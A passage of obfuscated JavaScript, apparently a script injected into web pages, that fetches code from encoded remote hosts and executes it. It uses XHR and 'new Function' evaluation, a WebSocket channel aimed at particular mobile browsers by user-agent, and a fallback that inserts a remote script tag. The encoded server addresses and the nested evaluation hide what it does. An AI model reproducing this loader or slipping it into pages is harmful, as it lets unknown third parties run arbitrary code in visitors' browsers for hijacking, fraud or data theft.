XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};